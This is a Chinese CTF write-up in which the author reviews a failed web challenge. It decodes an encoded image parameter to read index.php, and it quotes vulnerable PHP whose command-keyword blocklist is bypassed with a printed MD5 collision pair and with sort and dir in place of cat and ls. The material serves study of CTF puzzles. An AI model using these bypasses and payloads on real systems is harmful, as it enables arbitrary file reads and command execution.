。。。没个毛线思路
一、自己的思路吧，（为0）
-
他这个图片的 src 很吸引人，
-
我竟然第一时间想到了 SSRF ？？？。我也不知道我咋想的，把data换成读取的协议也不好使，，，当然不好使了啊。那个是文件包含漏洞才能够读取文件的啊。
-
目录也扫描了，就一个/index.php/index.php套一个，我也不知道，，
-
再就是他的这个url的参数，没有猜到是干什么的
-
再结合md5 is funny。。所以，显而易见，
我还是没有思路。，那些参数该解码的也解码了，没看出什么蹊跷来。
二、不足：
- 当解密出错的时候，可以换一换网站来解密，可能有的网站不是太好使，，
- 没有看出来 base64之后的 是 hex 编码来。3535352e706e67 。 这是hex编码，，，记住了啊。
- ls不行，就dir
- cat 不行，就sort
- 难点应该是 思路问题。还有那个md5 强碰撞 记住例子就好，这个没什么的。再是过滤这个东西。需要 REC 的积累的。
三、看别人的WP----我明白了，这个题可能需要脑洞的，，，
-
url中的img参数
TXpVek5UTTFNbVUzTURabE5qYz0，解码后为MzUzNTM1MmU3MDZlNjc=。明显是一个base64么。解码后为：3535352e706e67。好家伙，我怎么能够知道这个玩意是hex编码啊，，，解码后是555.png。然后嘞？
这里有个，，那啥，我用ctftool那个网站，，md解base64的时候，不对，，给我的教训就是 多换几个网站解密 -
我竟然还没有思路，，，菜到至极。
也就是说，他会对文件名进行hex->base64->base64的方式进行加密 -
然后wp就说，那就试试index.php吧，把这个先hex->bese64->base64出来以后，当作那个url中的img的参数，，，，，，，神奇的想法。。。还tm对的。。
index.php -> 696e6465782e706870 -> Njk2ZTY0NjU3ODJlNzA2ODcw ->TmprMlpUWTBOalUzT0RKbE56QTJPRGN3 。然后 传入img参数中
然后，半猜半观察发现，（因为之前我们随意输入的时候，src中的值是空白的。而这次又有变化了，大概率说明我们呢是正确的了）F12中的src属性的值又变化了，，，将里面的值提取出来。
这里index.php加密竟然还可以这样！
了解一下就好了
- 进行base64解密。发现：
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi～ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
发现过滤了cat，还可以用sort。。。。这当然不是我可以想的到的。。
然后下面这个md5强比较的话，，
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
成功了，，，tmd。。竟然，，
然后 ls 不行，就dir
参考自：https://blog.csdn.net/qq_43622442/article/details/106012150